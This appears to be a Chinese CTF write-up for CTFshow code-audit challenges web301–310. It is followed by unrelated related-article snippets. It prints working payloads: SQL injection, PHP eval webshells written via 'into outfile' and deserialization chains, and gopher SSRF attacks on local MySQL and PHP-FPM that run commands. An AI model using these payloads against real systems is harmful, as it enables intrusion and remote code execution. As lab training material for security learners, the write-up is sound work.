当前位置: 首页 > news >正文

CTFshow--Web--代码审计

目录

web301

web302

web303

web304

web305

web306

web307

web308

web309

web310


web301

开始一个登录框, 下意识sql尝试一下
发现 1' 的时候会到一个 checklogin.php 的路径下, 但啥也没有
好吧, 这是要审计代码的 ,下载好源码, 开始审计

看了一下源码 , 应该就是sql注入了 , 而且还没过滤什么其他的东西

if(!strcasecmp($userpwd,$row['sds_password']))

比较输入的密码和查询到的密码

方法一: union联合查询

使用union 联合查询 ,
-1' union select 123#
查询不到内容, 会在数据库中创建一个数据 123 , 那么这个123就会作为一个返回的数据, 用以跟用户输入的密码进行比较 , 相匹配的话就行登录进去了
所以在 输入框 填上 123
就可以顺利的登录进去了, 直接给了flag

或者使用 盲注的方法 爆出字段内容 得到flag 应该也可以


方法二: 写shell

-1 ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#

into outfile 是 MySQL 的一个命令,用于将查询的结果写入到服务器上的一个文件中。

web302

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

题目说这是修改的地方

结合上一道题
 

<?php
function sds_decode($str){return md5(md5($str.md5(base64_encode("sds")))."sds");
}

依旧是使用 union 联合注入, 但是 需要自己进行加密一下密码

 -1' union select "d9c77c4e454869d5d8da3b4be79694d3"#
密码为1

登录成功 就可以拿到flag

web303

用户名只能小于6个字符, 不能用之前的方法
在文件里面可以找到两个 提示 说注入点的地方

dpt.php
这是个假的注入点, sql语句里面没有我们可以控制的变量

dptadd.php

但是都存在这几行代码, 如果没登入进去的话, 都会跳转到 login.php

需要账号密码
可以在fun.php里面看到
echo sds_decode('admin')
可以是提示了我们密码是admin

在给的一个sql表中也可以看到 存在admin 账户

所以使用  admin / adimin  登录进去

可以看到 dptadd.php

insert注入:

将select查询到的语句 插入到表中, 然后回显出表中的数据
构造语句
查表:

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

会跳转到dpt.php  回显出数据

查字段名:

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

查数据:

dpt_name=1',sds_address=(select flag from sds_fl9g)#

报错注入:

查到的数据不完整,可能有长度限制啥的 使用substr函数, 分成两部分查

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=xxx' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#

web304

增加了全局waf

function sds_waf($str){return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但好像没有变化, 继续用上一题的payload就可以

web305

有一个waf, 无法再进行注入了

function sds_waf($str){if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){return false;}else{return true;}
}

还有一个class.php 文件 , 可以进行反序列化

class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __destruct(){file_put_contents($this->username, $this->password);}
}

可以写个文件

<?php
class user{public $username;public $password;
}
$a = new user();
$a->username = "1.php";
$a->password = "<?php eval($_POST[1]); ?>";
echo urlencode(serialize($a));
//O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3B%7D

蚁剑连接, 然后进入到数据库里面去
相关的账号密码 在 conn.php里面可以找到

web306

class.php中存在 file_put_contents , 需要调用到close() 函数

在dao.php里可以发现调用了close()

在index.php文件中又包含了dao.php,并且存在反序列化函数

构造payload:

<?phpclass log{public $title='1.php';public $info='<?php eval(\$_POST[1]);?>';}class dao{private $conn;public function __construct(){$this->conn=new log();}}
$a=new dao();
echo base64_encode(serialize($a));
//TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI1OiI8P3BocCBldmFsKFwkX1BPU1RbMV0pOz8+Ijt9fQ==

将payload 放到 session里面去

在访问一下login.php 可以看到都直接登录进去了

访问1.php , 已经是回显200了, 所以应该是写进去了,
但不知道为啥, 蚁剑连不上, 而且执行命令也没反应
应该是写进去了的啊, 直接用其他人的payload放进去, 也是一样的反应,
可能浏览器出啥问题了,暂时不管了

web307

controller/logout.php里面存在一个反序列化的 , 后续应该是要在这个路径下执行
找一下 clearCache()函数的调用

controller/dao/dao.php里面存在一个clearCache(), 可以执行命令, 里面存在参数可控

service/service.php , 也存在 clearCache()的调用, 而且在logout.php里面require了service.php,
service.php又require了/dao/dao.php

构造payload:

<?phpclass dao{private $config;public function __construct(){$this->config=new config();}
}class config{public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >a.php;';}
$a=new dao();
echo base64_encode(serialize($a));

将payload放到Cookie里面后, 访问controller/logout.php, 就能写入马

在访问controller/a.php 就能执行命令了

web308

在上一题的基础上增加了过滤


但是又多了一个函数 ,

找一下checkUpdate()
很明显的SSRF

在index.php下面 ,能够调用 checkVersion()函数 , 虽然header 头跳转了,但是还是会执行后面的代码

参数update_url也是可控的
题目提示需要拿shell,  mysql也是无密码的
直接 通过gopherus 工具 生成payload
https://github.com/tarunkant/Gopherus

<?phpclass dao{private $config;public function __construct(){$this->config=new config();}
}class config{public $update_url ='gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01';}
$a=new dao();
echo base64_encode(serialize($a));

直接抓包在 index.php 写入Cookie就行, 然后执行生成 2.php

然后访问 2.php,  cmd执行命令

web309

需要拿shell,308的方法不行了,mysql 有密码了

Ctfshow web入门 代码审计篇 web301-web310 详细题解 全_ctfshow web301-CSDN博客
FastCGI攻击需要满足四个条件:

1、PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件
2、知道题目环境中的一个PHP文件的绝对路径
3、PHP-FPM监听在本机9000端口
4、libcurl版本>=7.45.0

向服务端发送请求时,服务端会等待我们发送数据,处于wait状态。最多等几十秒。
gopher协议只会把数据发送过去,不承接任何应用。所以gopher协议访问开放端口时,会"卡住",等待我们传输数据,所以就能探测端口是否开放。
脚本用gopher协议访问,超过两秒(服务端等待数据接收)就判断端口开放,没超时(服务端直接拒绝)就是端口没开放。

21 ftp
22 ssh
80 http
443 https
3389 rdp windows远程桌面
1433 ms-sqlserver 默认端口
3306 mysql 默认端口
6379 redis 默认端口
9000 php-fpm(FastCGI) 默认端口

用之前的poc探测一下端口的开放

<?php

class dao{
    private $config;
    public function __construct(){
    $this->config=new config();
    }
}

class config{
     public $update_url = 'gopher://127.0.0.1:9000';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

探测存在9000端口开放(会一直卡住, 访问其他的也访问不了, 得重新下发容器)
使用Gopherus工具生成攻击FastCGI的payload。

payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

web310

第一种方法:

依旧是上一道题的操作, 在使用工具的时候, 命令写入一个shell文件
然后在相应路径下执行命令, flag在 /var/flag/index.html 路径下

第二种方法:

利用file伪协议,读取一下配置文件:

<?php
class config{public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{private $config;public function __construct(){$this->config=new config();}}
$a=new dao();
echo base64_encode(serialize($a));
?>

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
    server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

看到 4476端口 存在flag的文件

<?php
class config{public $update_url = 'http://127.0.0.1:4476';
}
class dao{private $config;public function __construct(){$this->config=new config();}}
$a=new dao();
echo base64_encode(serialize($a));

CTFSHOW 代码审计篇_ctfshow 源码-CSDN博客
 

Ctfshow web入门 代码审计篇 web301-web310 详细题解 全_ctfshow web301-CSDN博客


CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入、SSRF打MySQL、SSRF打FastCGI、SSRF文件读取_ctfshow web303-CSDN博客

相关文章:

CTFshow--Web--代码审计

目录 web301 web302 web303 web304 web305 web306 web307 web308 web309 web310 web301 开始一个登录框, 下意识sql尝试一下 发现 1 的时候会到一个 checklogin.php 的路径下, 但啥也没有 好吧, 这是要审计代码的 ,下载好源码, 开始审计 看了一下源码 , 应该就是sql…...

Java语言程序设计——篇十(1)

&#x1f33f;&#x1f33f;&#x1f33f;跟随博主脚步&#xff0c;从这里开始→博主主页&#x1f33f;&#x1f33f;&#x1f33f; 接口介绍 接口概述接口定义接口的实现实战演练 &#x1f445;接口的继承实战演练实战演练 接口的类型常量实战演练 静态方法默认方法解决默认方…...

Qt对比MFC优势

从Qt小白到现在使用了有四年的时间&#xff0c;之前也搞过MFC,WinForm,基本上都是桌面的框架&#xff0c; 从难易程度看MFC>QT>WinForm; 运行的效率上来看MFC>QT>WinForm; 开发效率上WinForm>QT>MFC; 跨平台Qt首选&#xff1b; 界面的美观难易程度Qt>…...

RuntimeError: No CUDA GPUs are available

RuntimeError: No CUDA GPUs are available 目录 RuntimeError: No CUDA GPUs are available 【常见模块错误】 【解决方案】 解决步骤如下&#xff1a; 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 欢迎来到我的主页&#xff0c;我是博主英杰&#xff0c;211科…...

URL参数中携带中文?分享 1 段优质 JS 代码片段!

本内容首发于工粽号&#xff1a;程序员大澈&#xff0c;每日分享一段优质代码片段&#xff0c;欢迎关注和投稿&#xff01; 大家好&#xff0c;我是大澈&#xff01; 本文约 800 字&#xff0c;整篇阅读约需 1 分钟。 今天分享一段优质 JS 代码片段&#xff0c;在发送 ajax 请…...

sass的使用

一、变量 //声明一个变量 $highlight-color: #F90; .selected {border: 1px solid $highlight-color; }//编译后 .selected {border: 1px solid #F90; }二、导入 import "xxx.scss"三、混合器简单定义 通过mixin定义&#xff0c;通过include调用 // mixin.scss /…...

【足球走地软件】走地数据分析预测【大模型篇】走地预测软件实战分享

了解什么是走地数据&#xff1f; 走地数据分析&#xff0c;在足球赛事的上下文中&#xff0c;是一种针对正在进行中的比赛进行实时数据分析的方法。这种方法主要用于预测比赛中的某些结果或趋势&#xff0c;如总进球数、比分变化、球队表现等。 在足球走地数据分析中&#xf…...

现在有什么赛道可以干到退休?

最近&#xff0c;一则“90后无论男女都得65岁以后退休”的消息在多个网络平台流传&#xff0c;也不知道是真是假&#xff0c;好巧不巧今天刷热点的时候又看到一条这样的热点&#xff1a;现在有什么赛道可以干到退休&#xff1f; 点进去看了几条热评&#xff0c;第一条热评说的…...

c程序杂谈系列(职责链模式与if_else)

从处理器的角度来说&#xff0c;条件分支会导致指令流水线的中断&#xff0c;所以控制语句需要严格保存状态&#xff0c;因为处理器是很难直接进行逻辑判断的&#xff0c;有可能它会执行一段时间&#xff0c;发现出错后再返回&#xff0c;也有可能通过延时等手段完成控制流的正…...

前端开发技术之CSS(层叠样式表)

盒模型&#xff08;Box Model&#xff09; CSS盒模型描述了如何计算一个元素的总宽度和高度。 它包括以下几个部分&#xff1a; 1. 内容&#xff08;Content&#xff09;&#xff1a;元素的实际内容&#xff0c;比如文本或图片。 2. 内边距&#xff08;Padding&#xff09;&…...

go语言day20 使用gin框架获取参数 使用自定义的logger记录日志

Golang 操作 Logger、Zap Logger 日志_golang zap-CSDN博客 目录 一、 从控制器中获取参数的几种形式 1&#xff09; 页面请求url直接拼接参数。 2&#xff09; 页面请求提交form表单 3&#xff09; 页面请求发送json数据&#xff0c;使用上下文对象c的BindJSON()方法接…...

DHCP笔记

DHCP---动态主机配置协议 作用&#xff1a;为终端动态提供IP地址&#xff0c;子网掩码&#xff0c;网关&#xff0c;DNS网址等信息 具体流程 报文抓包 在DHCP服务器分配iP地址之间会进行广播发送arp报文&#xff0c;接收IP地址的设备也会发送&#xff0c;防止其他设备已经使用…...

TCP为什么需要四次挥手?

tcp为什么需要四次挥手&#xff1f; 答案有两个&#xff1a; 1.将发送fin包的权限交给被动断开发的应用层去处理&#xff0c;也就是让程序员处理 2.接第一个答案&#xff0c;应用层有了发送fin的权限&#xff0c;可以在发送fin前继续向对端发送消息 为了搞清楚这个问题&…...

MySQL 索引相关基本概念

文章目录 前言一. B Tree 索引1. 概念2. 聚集索引/聚簇索引3. 辅助索引/二级索引4. 回表5. 联合索引/复合索引6. 覆盖索引 二. 哈希索引三. 全文索引 前言 InnoDB存储引擎支持以下几种常见索引&#xff1a;BTree索引&#xff0c;哈希索引&#xff0c;全文索引 一. B Tree 索引…...

Neutralinojs教程项目实战初体验(踩坑指南),干翻 electron

Neutralinojs 项目实战初体验&#xff08;踩坑指南&#xff09;&#xff0c;干翻 electron Neutralinojs 官方文档 卧槽卧槽&#xff0c;&#xff01;这个年轻人居然用浏览器把电脑关机了_哔哩哔哩_bilibili正是在下 本教程搭建的是纯原生项目&#xff0c;没有和其它前端框架…...

【轻松拿捏】Java-List、Set、Map 之间的区别是什么?

List、Set、Map 之间的区别是什么&#xff1f; 一、List 二、Set 三、Map &#x1f388;边走、边悟&#x1f388;迟早会好 一、List 有序性&#xff1a;List 保持元素的插入顺序&#xff0c;即元素按添加的顺序存储和访问。允许重复&#xff1a;List 可以包含重复的元素。…...

用户史订单查询业务

文章目录 概要整体架构流程技术细节小结 概要 在电商、金融、物流等行业中&#xff0c;用户历史订单查询是一项常见的业务需求。这项功能允许用户查看他们过去的交易记录&#xff0c;包括但不限于购买的商品、服务详情、交易金额、支付状态、配送信息等。对于企业而言&#xf…...

第8节课:CSS布局与样式——掌握盒模型与定位的艺术

目录 盒模型&#xff1a;网页布局的基础盒模型的属性盒模型的示例 定位&#xff1a;控制元素位置定位的类型定位的示例 实践&#xff1a;使用CSS布局创建响应式网页结语 CSS布局是网页设计中的基石&#xff0c;它决定了网页元素的排列和分布。盒模型和定位是CSS布局中的两个核心…...

electron 主进程和渲染进程

最近在整理electron 相关的项目问题&#xff0c;对自己来说也是温故知新&#xff0c;也希望能对小伙伴们有所帮助&#xff0c;大家共同努力共同进步。加油&#xff01;&#xff01;&#xff01;&#xff01; 虽然最近一年前端大环境不好&#xff0c;但是大家还是要加油鸭&#…...

redis的高可用及性能管理和雪崩

redis的高可用 redis当中&#xff0c;高可用概念更宽泛一些。 除了正常服务以外&#xff0c;数据量的扩容&#xff0c;数据安全。 实现高可用的方式&#xff1a; 1、持久化 最简单的高可用方法&#xff0c;主要功能就是备份数据。 把内存当中的数据保存到硬盘当中。 2、主…...

php基础语法

文章目录 1. PHP(1) 安装php 2. 基础语法(1) 格式(2) 输出语法(3) 注释(4) 变量(无变量类型自动识别)(5) 输入获取(6) 定界符(7) 换行 3. 基本数据类型(1) 字符串(2) 整数(3). 浮点数(4). boolean类型(5). 数组(6). null值 4. 运算符(1) 算术运算符(2) 比较运算符(3) 逻辑运算符…...

js抓取短信验证码发送

油猴(Tampermonkey)是一个流行的浏览器扩展,它允许用户在浏览器中运行自定义的JavaScript脚本。下面是一个简单的示例脚本,用于收集网站上发送短信验证码的API请求,并以JSON格式存储这些信息。请注意,这个脚本需要根据实际网站的API请求进行调整,因为不同的网站可能有不…...

视频怎么加密?常见的四种视频加密方法和软件

视频加密是一种重要的技术手段&#xff0c;用于保护视频内容不被未经授权的用户获取、复制、修改或传播。在加密过程中&#xff0c;安企神软件作为一种专业的加密工具&#xff0c;可以发挥重要作用。 以下将详细介绍如何使用安企神软件对视频进行加密&#xff0c;并探讨视频加密…...

聚焦全局应用可用性的提升策略,详解GLSB是什么

伴随互联网的快速发展和全球化趋势的深入&#xff0c;企业对网络应用的需求日渐增长。为满足全球范围内用户大量的访问需求&#xff0c;同时解决容灾、用户就近访问以及全球应用交付等问题&#xff0c;GLSB&#xff08;全局负载均衡&#xff09;也因此应运而生。那么GLSB是什么…...

无水印下载视频2——基于tkinter完成头条视频的下载

在数字化时代的浪潮中&#xff0c;视频内容以其丰富性和便捷性&#xff0c;逐渐成为了我们获取信息和娱乐的重要途径。尤其是在短视频平台上&#xff0c;各种创意十足、内容精彩的视频层出不穷&#xff0c;更是吸引了数以亿计的用户。然而&#xff0c;随着视频内容的增加&#…...

Java学习Day17:基础篇7

继承 Java中的继承是面向对象编程中的一个核心概念&#xff0c;它允许我们定义一个类&#xff08;称为子类或派生类&#xff09;来继承另一个类&#xff08;称为父类或基类&#xff09;的属性和方法。继承提高了代码的复用性&#xff0c;使得我们不必从头开始编写所有的代码&a…...

Vue3 Pinia的创建与使用代替Vuex 全局数据共享 同步异步

介绍 提供跨组件和页面的共享状态能力&#xff0c;作为Vuex的替代品&#xff0c;专为Vue3设计的状态管理库。 Vuex&#xff1a;在Vuex中&#xff0c;更改状态必须通过Mutation或Action完成&#xff0c;手动触发更新。Pinia&#xff1a;Pinia的状态是响应式的&#xff0c;当状…...

手撕数据结构02--二分搜索(附源码)

一、理论基础 二分搜索&#xff0c;也称折半搜索、对数搜索&#xff0c;是一种在有序数组中查找某一特定元素的搜索算法。 二分搜索是一种高效的查找算法&#xff0c;适用于在已排序的数组中查找特定元素。它的基本思想是通过不断将搜索区间对半分割&#xff0c;从而快速缩小…...

单片机工程师继续从事硬件设计还是涉足 Linux 开发?

在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「linux的资料从专业入门到高级教程」&#xff0c;点个关注在评论区回复“666”之后私信回复“666”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01; 怎么说呢&#xff0c;感觉绝…...

《昇思25天学习打卡营第25天|第28天》

今天是打卡的第二十八天&#xff0c;实践应用篇中的计算机视觉中Vision Transformer图像分类。 从Vision Transformer&#xff08;ViT&#xff09;简介开始了解&#xff0c;模型结构&#xff0c;模型特点&#xff0c;实验的环境准备和数据读取&#xff0c;模型解析&#xff08…...